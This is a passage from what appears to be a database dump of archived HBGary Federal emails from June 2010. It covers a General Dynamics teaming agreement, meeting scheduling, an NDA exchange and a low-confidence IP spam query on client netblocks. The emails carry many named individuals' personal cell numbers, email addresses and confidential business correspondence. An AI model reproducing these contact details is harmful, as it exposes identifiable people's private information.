Vera\" <ted@hbgary.com>,,,','RE: HBGary Federal Teaming Agreement','Thank you.  Attached is the fully executed Teaming Agreement.\r\n\r\n\r\n\r\n\r\n \r\n \r\nKimberly Hoagland\r\nSr. Specialist-Subcontracts \r\nGeneral Dynamics Advanced Information Systems, Inc. \r\n \r\nMailing Address:\r\n 10925 Pump House Road\r\n Annapolis Junction, MD 20701\r\nPhysical Address:\r\n 2721 Technology Drive\r\n Annapolis Junction, MD  20701\r\n \r\n(240) 294-2275 (v)\r\n(240) 294-2181 (f)\r\nkimberly.hoagland@gd-ais.com\r\n \r\n \r\nThis e-mail message is for the sole use of the intended recipient and may contain confidential and privileged information. Any unauthorized review, use, disclosure, or distribution is prohibited. If you are not an intended recipient, please contact the sender by reply e-mail and destroy all copies of the original message.\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Friday, June 04, 2010 11:54 AM\r\nTo: Hoagland, Kimberly A.\r\nCc: Aaron Barr; Varga, Joan A.; Lemke, Michelle R.; Arismendi, Charles B.\r\nSubject: Re: HBGary Federal Teaming Agreement\r\n\r\nSigned TA attached.  Please send the fully executed copy for my records.  Thanks,\r\n\r\nTed\r\n\r\n\r\n\r\nOn Thu, Jun 3, 2010 at 10:19 AM, Hoagland, Kimberly A.\r\n wrote:\r\n> Actually, yes.  Please review, sign and return the attached Teaming Agreement.\r\n>\r\n>\r\n> Thank you,\r\n>\r\n>\r\n> Kimberly Hoagland\r\n> Sr. Specialist-Subcontracts\r\n> General Dynamics Advanced Information Systems, Inc.\r\n>\r\n> Mailing Address:\r\n>  10925 Pump House Road\r\n>  Annapolis Junction, MD 20701\r\n> Physical Address:\r\n>  2721 Technology Drive\r\n>  Annapolis Junction, MD  20701\r\n>\r\n> (240) 294-2275 (v)\r\n> (240) 294-2181 (f)\r\n> kimberly.hoagland@gd-ais.com\r\n>\r\n> P please consider the environment before printing this email This \r\n> e-mail message is for the sole use of the intended recipient and may contain confidential and privileged information. Any unauthorized review, use, disclosure, or distribution is prohibited. If you are not an intended recipient, please contact the sender by reply e-mail and destroy all copies of the original message.\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Ted Vera [mailto:ted@hbgary.com]\r\n> Sent: Tuesday, June 01, 2010 3:41 PM\r\n> To: Hoagland, Kimberly A.\r\n> Cc: Aaron Barr; Griswold, Christine (EXT) (GDC4S)\r\n> Subject: Re: FW: Supplier 452174 Approved\r\n>\r\n> Hi Kimberly,\r\n>\r\n> Just wanted to follow up on this.  Do we owe you anything?\r\n>\r\n> Also, do you know the anticipated award date for this effort?\r\n>\r\n> Congrats on getting the proposal out, we\'ll keep our fingers crossed!\r\n>\r\n> Thanks,\r\n> Ted\r\n>\r\n>\r\n>\r\n> On Thu, May 27, 2010 at 9:50 AM, Hoagland, Kimberly A.\r\n>  wrote:\r\n>> I just noticed that also, no wonder you guys are confused.  Hold off for right now, you answered my question that I needed.  I need to talk to Christine about something internally.  Sit tight and I\'ll get back to you.\r\n>>\r\n>>\r\n>> Thanks for your patience!\r\n>>\r\n>>\r\n>>\r\n>> Kimberly Hoagland\r\n>> Sr. Specialist-Subcontracts\r\n>> General Dynamics Advanced Information Systems, Inc.\r\n>>\r\n>> Mailing Address:\r\n>>  10925 Pump House Road\r\n>>  Annapolis Junction, MD 20701\r\n>> Physical Address:\r\n>>  2721 Technology Drive\r\n>>  Annapolis Junction, MD  20701\r\n>>\r\n>> (240) 294-2275 (v)\r\n>> (240) 294-2181 (f)\r\n>> kimberly.hoagland@gd-ais.com\r\n>>\r\n>>\r\n>> This e-mail message is for the sole use of the intended recipient and may contain confidential and privileged information. Any unauthorized review, use, disclosure, or distribution is prohibited. If you are not an intended recipient, please contact the sender by reply e-mail and destroy all copies of the original message.\r\n>>\r\n>> -----Original Message-----\r\n>> From: Ted Vera [mailto:ted@hbgary.com]\r\n>> Sent: Thursday, May 27, 2010 11:49 AM\r\n>> To: Hoagland, Kimberly A.\r\n>> Cc: Aaron Barr; Griswold, Christine (EXT) (GDC4S)\r\n>> Subject: Re: FW: Supplier 452174 Approved\r\n>>\r\n>> Sorry for the confusion.  This form reads HBGary Inc, and it will not \r\n>> allow me to change it to HBGary Federal, LLC.  Can you make this \r\n>> change and resend it to me please and I will fill it out ASAP.\r\n>>\r\n>> Thanks,\r\n>> Ted\r\n>>\r\n>>\r\n>>\r\n>> On Thu, May 27, 2010 at 9:28 AM, Hoagland, Kimberly A.\r\n>>  wrote:\r\n>>> Ted,\r\n>>>\r\n>>> Attached are the standard Reps & Certs that Christine just sent to \r\n>>> you today at 9:31am.  These are where I would normally obtain the \r\n>>> information that I requested from you this morning via Email.  The \r\n>>> Supplemental Reps & Certs are a different set of forms that do not contain the same information.\r\n>>> Christine Griswold does not send those out, I sent those to you on \r\n>>> 5/25/10 at 10:31 as part of your RFP package.\r\n>>>\r\n>>> Two totally different forms.  I hope this clears things up.\r\n>>>\r\n>>>\r\n>>>\r\n>>> Kimberly Hoagland\r\n>>> Sr. Specialist-Subcontracts\r\n>>> General Dynamics Advanced Information Systems, Inc.\r\n>>>\r\n>>> Mailing Address:\r\n>>>  10925 Pump House Road\r\n>>>  Annapolis Junction, MD 20701\r\n>>> Physical Address:\r\n>>>  2721 Technology Drive\r\n>>>  Annapolis Junction, MD  20701\r\n>>>\r\n>>> (240) 294-2275 (v)\r\n>>> (240) 294-2181 (f)\r\n>>> kimberly.hoagland@gd-ais.com\r\n>>>\r\n>>> P please consider the environment before printing this email This \r\n>>> e-mail message is for the sole use of the intended recipient and may \r\n>>> contain confidential and privileged information. Any unauthorized \r\n>>> review, use, disclosure, or distribution is prohibited. If you are \r\n>>> not an intended recipient, please contact the sender by reply e-mail \r\n>>> and destroy all copies of the original message.\r\n>>>\r\n>>>\r\n>>> _____________________________________________\r\n>>> From: Griswold, Christine [mailto:Christine.Griswold@gdc4s.com]\r\n>>> Sent: Thursday, May 27, 2010 9:31 AM\r\n>>> To: Aaron Barr\r\n>>> Cc: Hoagland, Kimberly A.; Ted Vera\r\n>>> Subject: FW: Supplier 452174 Approved\r\n>>>\r\n>>>\r\n>>>\r\n>>> Please complete the document as soon as possible and return the soft \r\n>>> copy to Kim Hoagland and myself.\r\n>>>\r\n>>> Sincerely,\r\n>>> CHRISTINE GRISWOLD\r\n>>> christine.griswold@gdc4s.com\r\n>>> General Dynamics C4 Systems\r\n>>> 400 John Quincy Adams Rd.\r\n>>> Taunton Ma 02780\r\n>>> P# 508-880-4154\r\n>>> F# 508-880-2223\r\n>>>\r\n>>> ______________________________________________\r\n>>> From:    Hoagland, Kimberly A. [mailto:Kimberly.Hoagland@gd-ais.com]\r\n>>> Sent:   Monday, May 24, 2010 3:20 PM\r\n>>> To:     Griswold, Christine\r\n>>> Subject:        FW: Supplier 452174 Approved\r\n>>>\r\n>>> Please send out a Reps & Certs package to this company.  Thank you!  \r\n>>> J\r\n>>>\r\n>>> Aaron Barr [aaron@hbgary.com]\r\n>>> Ted Vera [ted@hbgary.com]\r\n>>>\r\n>>>\r\n>>>\r\n>>> Kimberly Hoagland\r\n>>> Sr. Specialist-Subcontracts\r\n>>> General Dynamics Advanced Information Systems, Inc.\r\n>>>\r\n>>> Mailing Address:\r\n>>>  10925 Pump House Road\r\n>>>  Annapolis Junction, MD 20701\r\n>>> Physical Address:\r\n>>>  2721 Technology Drive\r\n>>>  Annapolis Junction, MD  20701\r\n>>>\r\n>>> (240) 294-2275 (v)\r\n>>> (240) 294-2181 (f)\r\n>>> kimberly.hoagland@gd-ais.com\r\n>>>\r\n>>> P please consider the environment before printing this email This \r\n>>> e-mail message is for the sole use of the intended recipient and may \r\n>>> contain confidential and privileged information. Any unauthorized \r\n>>> review, use, disclosure, or distribution is prohibited. If you are \r\n>>> not an intended recipient, please contact the sender by reply e-mail \r\n>>> and destroy all copies of the original message.\r\n>>>\r\n>>>\r\n>>> _____________________________________________\r\n>>> From: Bradley, Barbara L.\r\n>>> Sent: Monday, May 24, 2010 3:19 PM\r\n>>> To: Hoagland, Kimberly A.\r\n>>> Cc: Griswold, Christine (EXT) (GDC4S)\r\n>>> Subject: Supplier 452174 Approved\r\n>>>\r\n>>>\r\n>>> Supplier 452174, HBGary, Inc, has been approved in ESM and IFS.\r\n>>>\r\n>>> Barbara Bradley\r\n>>> Calibration Recall System Coordinator Supplier Quality Administrator \r\n>>> General Dynamics - Cyber Systems-IS\r\n>>> 7-9 Vreeland Road\r\n>>> Florham Park, NJ  07932\r\n>>> Phone - 973-765-5584\r\n>>> Fax - 973-765-5952\r\n>>>\r\n>>>\r\n>>>\r\n>>\r\n>>\r\n>>\r\n>> --\r\n>> Ted H. Vera\r\n>> President | COO\r\n>> HBGary Federal\r\n>> 719-237-8623\r\n>>\r\n>\r\n>\r\n>\r\n> --\r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal\r\n> 719-237-8623\r\n>\r\n\r\n\r\n\r\n--\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',13853,'aaron_hbgary_com/13853.html'),(7045,'2010-06-04','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297005130.M476531P14101Q1900.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','FW: Meet up','\r\n\r\n-----Original Message-----\r\nFrom: Nathan Atherley [mailto:nathan.atherley@farallon-research.com] \r\nSent: Wednesday, June 02, 2010 11:07 PM\r\nTo: Penny Leavy-Hoglund\r\nSubject: Re: Meet up\r\n\r\nHow about the 17th we can fly to Sacramento, unless you guys are already \r\ndown here on the 17, 18, 21 or 22?\r\n\r\n\r\n\r\nOn 6/2/2010 3:45 PM, Penny Leavy-Hoglund wrote:\r\n> Hey Nathan,\r\n>\r\n> How are you doing???  Bet things are busy, they always are when you \"do it\r\n> all\".  Sure when do you want to meet?\r\n>\r\n> -----Original Message-----\r\n> From: Nathan Atherley [mailto:nathan.atherley@farallon-research.com]\r\n> Sent: Wednesday, June 02, 2010 8:40 AM\r\n> To: Penny Leavy-Hoglund; greg@hbgary.com\r\n> Cc: Ray Owen\r\n> Subject: Meet up\r\n>\r\n> Penny, Greg\r\n>\r\n> Hello, how are you guys doing?  We are making very good traction with\r\n> our Commercial Integration Demo #1 (name for the HBGary, Akamai,\r\n> Blackridge project) and it seems that money may be coming imminently.\r\n> Can we get together either the 17, 18, 21, or the 22nd of June for a few\r\n> hours to discuss our approach to this and what we are actually going to\r\n> offer?  We would like to meet with you guys first, and then have a\r\n> meeting between all of the entities shortly thereafter.\r\n>\r\n> If possible, we would like to meet in person.  We are happy to come up\r\n> to Sacramento or if you happen to be down on the peninsula we would be\r\n> happy to work around your schedule.\r\n>\r\n> Thanks\r\n>\r\n> Nathan\r\n>\r\n>\r\n>\r\n>    \r\n\r\n',6760,'aaron_hbgary_com/6760.html'),(7046,'2010-06-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005130.M706512P14101Q1901.eml','cscuilla@cox.net,cscuilla@cox.net','Re: Services opportunity','Hi Charlie,I am pretty open on Monday. &nbsp;When you would you like to meet?AaronOn Jun 2, 2010, at 2:42 PM, Bob Slapnik wrote:Email to IOMAXIS account bounced, so I am trying a personal email I have for Charlie.&nbsp;&nbsp;From:&nbsp;Bob Slapnik [mailto:bob@hbgary.com]&nbsp;Sent:&nbsp;Wednesday, June 02, 2010 4:37 PMTo:&nbsp;\'scuilla@iomaxis.com\'; \'Aaron Barr\'Subject:&nbsp;Services opportunity&nbsp;Charlie – Meet Aaron Barr, CEO of HBGary Federal.&nbsp; Their mission is gov’t services.&nbsp; They have all necessary clearances and are highly skilled in our kinds of work.&nbsp;Aaron – Meet Charlie Scuilla of IOMAXIS.&nbsp; He works with Brad Buhr.&nbsp; Charlie wants to discuss an opportunity at IOC.&nbsp; He suggested you talk next Monday.&nbsp;Numbers….Aaron - 719-510-8478Charlie - 703-869-9319&nbsp;Bob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.Office 301-652-8885 x104&nbsp; | Mobile 240-481-1419www.hbgary.com&nbsp; |&nbsp;&nbsp;bob@hbgary.com&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',16244,'aaron_hbgary_com/16244.html'),(7047,'2010-06-04','\"Mail Delivery Subsystem\" <mailer-daemon@googlemail.com>','/aaron@hbgary.com/new/1297005131.M25182P14101Q1902.eml','aaron@hbgary.com','Delivery Status Notification (Failure)','Delivery to the following recipient failed permanently:\r\n\r\n     cscuilla@cox.net\r\n\r\nTechnical details of permanent failure: \r\nGoogle tried to deliver your message, but it was rejected by the recipient domain. We recommend contacting the other email provider for further information about the cause of this error. The error that the other server returned was: 550 550 5.1.1  invalid recipient - Refer to Error Codes section at http://postmaster.cox.net/confluence/display/postmaster/Error+Codes for more information. (state 14).\r\n\r\n----- Original message -----\r\n\r\nReceived: by 10.143.26.28 with SMTP id d28mr8195609wfj.103.1275668396877;\r\n        Fri, 04 Jun 2010 09:19:56 -0700 (PDT)\r\nReturn-Path: \r\nReceived: from [192.168.0.109] (70-91-171-242-BusName-Colorado.hfc.comcastbusiness.net [70.91.171.242])\r\n        by mx.google.com with ESMTPS id 22sm933471pzk.5.2010.06.04.09.19.53\r\n        (version=TLSv1/SSLv3 cipher=RC4-MD5);\r\n        Fri, 04 Jun 2010 09:19:55 -0700 (PDT)\r\nSubject: Re: Services opportunity\r\nMime-Version: 1.0 (Apple Message framework v1078)\r\nContent-Type: multipart/signed; boundary=Apple-Mail-17-1008448527; protocol=\"application/pkcs7-signature\"; micalg=sha1\r\nFrom: Aaron Barr \r\nIn-Reply-To: \r\nDate: Fri, 4 Jun 2010 10:19:51 -0600\r\nCc: Bob Slapnik \r\nMessage-Id: \r\nReferences: \r\nTo: cscuilla@cox.net\r\nX-Mailer: Apple Mail (2.1078)\r\n\r\nHi Charlie,\r\n\r\nI am pretty open on Monday.  When you would you like to meet?\r\n\r\nAaron\r\n\r\nOn Jun 2, 2010, at 2:42 PM, Bob Slapnik wrote:\r\n\r\n> Email to IOMAXIS account bounced, so I am trying a personal email I have for Charlie.\r\n>  \r\n>  \r\n> From: Bob Slapnik [mailto:bob@hbgary.com] \r\n> Sent: Wednesday, June 02, 2010 4:37 PM\r\n> To: \'scuilla@iomaxis.com\'; \'Aaron Barr\'\r\n> Subject: Services opportunity\r\n>  \r\n> Charlie – Meet Aaron Barr, CEO of HBGary Federal.  Their mission is gov’t services.  They have all necessary clearances and are highly skilled in our kinds of work.\r\n>  \r\n> Aaron – Meet Charlie Scuilla of IOMAXIS.  He works with Brad Buhr.  Charlie wants to discuss an opportunity at IOC.  He suggested you talk next Monday.\r\n>  \r\n> Numbers….\r\n> Aaron - 719-510-8478\r\n> Charlie - 703-869-9319\r\n>  \r\n> Bob Slapnik  |  Vice President  |  HBGary, Inc.\r\n> Office 301-652-8885 x104  | Mobile 240-481-1419\r\n> www.hbgary.com  |  bob@hbgary.com\r\n>  \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',4356,'aaron_hbgary_com/4356.html'),(7048,'2010-06-04','\"Scott Suhy\" <Scott.Suhy@PointAbout.com>','/aaron@hbgary.com/new/1297005131.M627486P14101Q1903.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Introduction','Did the nda not come through as an attachment?   Here is another copy, let\r\nme know if your mail server doesn\'t allow this one in.\r\n\r\n____________________________________________________\r\nScott B. Suhy\r\nCEO, PointAbout Inc.\r\nCell: 202.557.6937\r\n1410 Q street NW Washington, DC 20009 (http://1410q.com) \r\nskype:scott.suhy \r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, June 04, 2010 11:53 AM\r\nTo: Scott Suhy\r\nSubject: Re: Introduction\r\n\r\nGreat.  If I could get the NDA back prior to our discussions that would be\r\ngreat.  I will bring a copy of our commercial proposal.\r\n\r\nAaron\r\n\r\nOn Jun 4, 2010, at 9:47 AM, Scott Suhy wrote:\r\n\r\n> Yes, the 8th is good at 9am.  \r\n> \r\n> ____________________________________________________\r\n> Scott B. Suhy\r\n> CEO, PointAbout Inc.\r\n> Cell: 202.557.6937\r\n> 1410 Q street NW Washington, DC 20009 (http://1410q.com) \r\n> skype:scott.suhy \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Friday, June 04, 2010 11:23 AM\r\n> To: Scott Suhy\r\n> Subject: Re: Introduction\r\n> \r\n> Shall I come to your place?  Around 9am?\r\n> \r\n> Funny the personal situational awareness proposal.  I would like to talk\r\nto\r\n> you about that one.  We have a commercial proposal and prototype\r\ncapability\r\n> to do something very similar.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal LLC.\r\n> \r\n> On Jun 3, 2010, at 11:50 AM, Scott Suhy wrote:\r\n> \r\n>> Are you good for the morning of the 8th?    \r\n>> \r\n>> We\'ve been working on a response to the darpa bid for the last 3 weeks.\r\n>> There is also one for HLS see\r\n>> https://www.sbir.dhs.gov/currentsolicitation.aspx#101009 we decided to\r\nnot\r\n>> bid this one.\r\n>> \r\n>> PEO EIS has one that is in RFI stage and one for SSA see\r\n>> https://www.fbo.gov/spg/SSA/DCFIAM/OAG/SSA-RFI-10-1013/listing.html \r\n>> \r\n>> ____________________________________________________\r\n>> Scott B. Suhy\r\n>> CEO, PointAbout Inc.\r\n>> Cell: 202.557.6937\r\n>> 1410 Q street NW Washington, DC 20009 (http://1410q.com) \r\n>> skype:scott.suhy \r\n>> \r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>> Sent: Thursday, June 03, 2010 12:57 PM\r\n>> To: Scott Suhy\r\n>> Subject: Re: Introduction\r\n>> \r\n>> Hi Scott,\r\n>> \r\n>> How is your schedule for getting together next week?  Did you see the\r\nlink\r\n> I\r\n>> sent on the DARPA opportunity for app development?\r\n>> \r\n>> Aaron\r\n>> \r\n>> On May 27, 2010, at 7:32 AM, Scott Suhy wrote:\r\n>> \r\n>>> Aaron,\r\n>>> \r\n>>> Give me a ring today (cell below).\r\n>>> \r\n>>> ____________________________________________________\r\n>>> Scott B. Suhy\r\n>>> CEO, PointAbout Inc.\r\n>>> Cell: 202.557.6937\r\n>>> 1410 Q street NW Washington, DC 20009 (http://1410q.com) \r\n>>> skype:scott.suhy \r\n>>> \r\n>>> \r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>>> Sent: Thursday, May 27, 2010 9:07 AM\r\n>>> To: info@PointAbout.com\r\n>>> Subject: Introduction\r\n>>> \r\n>>> Hi PointAbout,\r\n>>> \r\n>>> I have been doing a little bit of research on local DC talent for mobile\r\n>>> development and found you guys, turns out I actually have a few of your\r\n>> apps\r\n>>> on my iPhone.\r\n>>> \r\n>>> My company is the sister company to HBGary Inc. focused on malware\r\n>> analysis,\r\n>>> incident response, and information operations products and services.\r\nBut\r\n>>> the reason for writing you is I have about 7 years experience in the web\r\n>> and\r\n>>> mobile app and services space as well and have some interesting ideas.\r\n> It\r\n>>> was all work done for the government so while I think I have a vision\r\nfor\r\n>>> the direction of mobile information and services (the most important\r\n>> market\r\n>>> going forward IMO).  I don\'t know the people or processes in the purely\r\n>>> commercial space.\r\n>>> \r\n>>> I would like to exchange an NDA and come talk to you guys about the\r\n> mobile\r\n>>> space.\r\n>>> \r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>> \r\n>>> \r\n>>> No virus found in this incoming message.\r\n>>> Checked by AVG - www.avg.com \r\n>>> Version: 9.0.819 / Virus Database: 271.1.1/2897 - Release Date: 05/26/10\r\n>>> 14:26:00\r\n>>> \r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n>> No virus found in this incoming message.\r\n>> Checked by AVG - www.avg.com \r\n>> Version: 9.0.829 / Virus Database: 271.1.1/2914 - Release Date: 06/03/10\r\n>> 02:25:00\r\n>> \r\n> \r\n> \r\n> \r\n> \r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com \r\n> Version: 9.0.829 / Virus Database: 271.1.1/2914 - Release Date: 06/04/10\r\n> 02:25:00\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.829 / Virus Database: 271.1.1/2914 - Release Date: 06/04/10\r\n02:25:00\r\n',2900,'aaron_hbgary_com/2900.html'),(7049,'2010-06-04','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297005131.M894987P14101Q1904.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Re: EndGame Query','Thanks for running this guys.  I&#39;m not sure what I would do with it though.  One big issue for CERT teams like this one is that it has to really be worth my time to chase something down.  We have gigs and gigs of logs every day.  These look like low confidence SPAM incidents.  We&#39;d have to go to the firewall, proxy, mailserver, then the end-node.  I think in order for it to be useful it would need to be very timely, like an IDS alert.  It&#39;s easier to search recent logs than archived logs etc.  Also what am I searching for here?  I see no domain names, suspected trojan families, dest. IPs.\r\nOn Wed, Jun 2, 2010 at 12:14 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nHi Phil,\r\n\r\nBelow are the results of the query and the IPs we searched for, which\r\nwe pulled directly out of ARIN -- if you have other netblocks you&#39;d\r\nlike us to search please let me know:\r\n\r\nIP : 199.89.73.222\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Tue Jan 20 14:59:00 2009 GMT\r\n\r\nIP : 199.89.93.160\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Fri Mar  6 16:59:00 2009 GMT\r\n\r\nIP : 199.89.95.143\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Mon Mar 23 08:59:00 2009 GMT\r\n\r\nIP : 199.89.111.246\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Fri Jan 16 07:59:00 2009 GMT\r\n\r\nIP : 199.89.114.2\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Thu Sep 24 05:59:00 2009 GMT\r\n\r\nIP : 199.89.117.127\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Fri Mar 13 22:59:00 2009 GMT\r\n\r\nIP : 199.89.120.38\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Fri Jan  9 16:59:00 2009 GMT\r\n\r\nIP : 138.20.81.212\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Tue Feb 24 16:59:00 2009 GMT\r\n\r\nIP : 138.20.150.221\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Thu Feb  5 01:59:00 2009 GMT\r\n\r\nIP : 138.20.192.235\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Fri Feb  6 23:59:00 2009 GMT\r\n\r\nIP : 138.20.242.214\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Mon Feb  9 14:59:00 2009 GMT\r\n\r\nIP : 144.14.14.168\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Wed Mar 18 17:59:00 2009 GMT\r\n\r\nIP : 144.14.23.118\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Sat Feb  7 01:59:00 2009 GMT\r\n\r\nIP : 144.14.112.192\r\nConfidence : 21.726545%\r\nEvents :\r\n        Spam : Fri Jan  8 18:59:00 2010 GMT\r\n\r\nIP : 144.14.118.159\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Sat Mar 21 10:59:00 2009 GMT\r\n\r\nIP : 144.14.136.11\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Mon Mar 16 23:59:00 2009 GMT\r\n\r\nIP : 144.14.169.194\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Thu Feb 12 17:59:00 2009 GMT\r\n\r\nIP : 144.14.178.88\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Sun Mar 15 14:59:00 2009 GMT\r\n\r\nIP : 144.14.221.130\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Thu Feb 26 08:59:00 2009 GMT\r\n\r\nIP : 144.14.225.17\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Mon Mar  2 01:59:00 2009 GMT\r\n\r\nIP : 161.144.25.111\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Tue Mar 10 12:59:00 2009 GMT\r\n\r\nIP : 161.144.26.16\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Tue Feb 10 09:59:00 2009 GMT\r\n\r\nIP : 161.144.32.139\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Mon Mar 16 12:59:00 2009 GMT\r\n\r\nIP : 161.144.41.172\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Thu Feb  5 03:59:00 2009 GMT\r\n\r\nIP : 161.144.43.149\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Sun Mar 15 14:59:00 2009 GMT\r\n\r\nIP : 161.144.47.191\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Fri Feb 13 19:59:00 2009 GMT\r\n\r\nIP : 161.144.124.154\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Wed Mar 18 22:59:00 2009 GMT\r\n\r\nIP : 161.144.126.183\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Sun Mar 22 02:59:00 2009 GMT\r\n\r\nIP : 161.144.156.89\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Wed Feb 25 18:59:00 2009 GMT\r\n\r\nIP : 161.144.156.96\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Sun Mar 15 10:59:00 2009 GMT\r\n\r\nIP : 161.144.225.163\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Sat Mar  7 09:59:00 2009 GMT\r\n\r\nIP : 161.144.228.228\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Fri Mar  6 18:59:00 2009 GMT\r\n\r\nIP : 205.228.44.177\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Fri Mar  6 22:59:00 2009 GMT\r\n\r\nIP : 205.228.49.222\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Mon Feb 23 09:59:00 2009 GMT\r\n\r\nIP : 205.228.74.213\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Sun Mar 15 06:59:00 2009 GMT\r\n\r\nIP : 205.228.118.18\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Sat Feb 21 12:59:00 2009 GMT\r\n\r\nIP : 192.153.81.206\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Wed Mar  4 06:59:00 2009 GMT\r\n\r\n12.42.42.0;12.42.42.127\r\n12.3.55.160;12.3.55.191\r\n12.166.104.160;12.166.104.191\r\n12.14.182.128;12.14.182.135\r\n209.202.130.128;209.202.130.255\r\n205.217.13.240;205.217.13.255\r\n65.211.235.200;65.211.235.207\r\n192.150.173.0;192.150.173.255\r\n204.254.196.0;204.254.199.255\r\n192.153.77.0;192.153.77.255\r\n199.5.0.0;199.5.7.255\r\n199.89.64.0;199.89.127.255\r\n138.20.0.0;138.20.255.255\r\n144.14.0.0;144.14.255.255\r\n161.144.0.0;161.144.255.255\r\n205.228.0.0;205.228.127.255\r\n63.120.20.0;63.120.20.255\r\n192.153.78.0;192.153.78.255\r\n192.153.79.0;192.153.79.255\r\n192.153.80.0;192.153.80.255\r\n192.153.81.0;192.153.81.255\r\n192.153.82.0;192.153.82.255\r\n192.153.83.0;192.153.83.255\r\n192.153.84.0;192.153.84.255\r\n192.153.85.0;192.153.85.255\r\n192.153.86.0;192.153.86.255\r\n4.18.192.160;4.18.192.175\r\n216.91.1.128;216.91.1.255\r\n209.223.197.16;209.223.197.31\r\n204.215.153.96;204.215.153.103\r\n216.210.172.192;216.210.172.199\r\n65.65.75.144;65.65.75.159\r\n207.213.110.80;207.213.110.87\r\n208.217.77.0;208.217.77.255\r\n68.252.139.32;68.252.139.39\r\n209.191.132.64;209.191.132.95\r\n64.74.62.192;64.74.62.223\r\n75.150.121.240;75.150.121.247\r\n76.203.102.112;76.203.102.119\r\n67.39.249.104;67.39.249.111\r\n65.69.134.176;65.69.134.183\r\n63.100.97.208;63.100.97.215\r\n65.242.168.128;65.242.168.255\r\n65.222.138.160;65.222.138.175\r\n24.38.44.48;24.38.44.55\r\n99.152.236.152;99.152.236.159\r\n\r\n--\r\nTed\r\n-- Phil Wallisch | Sr. Security Engineer | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n',7304,'aaron_hbgary_com/7304.html'),(7050,'2010-06-04','\"Eifert, Eric J.\" <Eric.Eifert@ManTech.com>','/aaron@hbgary.com/new/1297005132.M152539P14101Q1905.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Next week Discussion','Bad, we are preparing for oral presentation for a large contract, week after is better.\r\n\r\nThanks,\r\n\r\nEric J. Eifert\r\nVice President, Cyber Defense Division\r\nManTech Mission, Cyber, Technology Solutions\r\n(direct) 703-388-2127   (cell) 703-966-9998   (fax) 703-388-2148\r\n\r\n**PROPRIETARY & COMPANY-CONFIDENTIAL**\r\nThis email and the contents of this email (including any attachments) are company-confidential and/or proprietary.  Unless you are the addressee (or authorized to receive for the addressee), you may not use, copy, disclose or distribute this email or any of the contents of this email.  If you received this email in error, please promptly notify the sender by reply email and delete this email from your records.  Thank you.\r\n\r\n\r\n-----Original Message-----\r\nFrom: 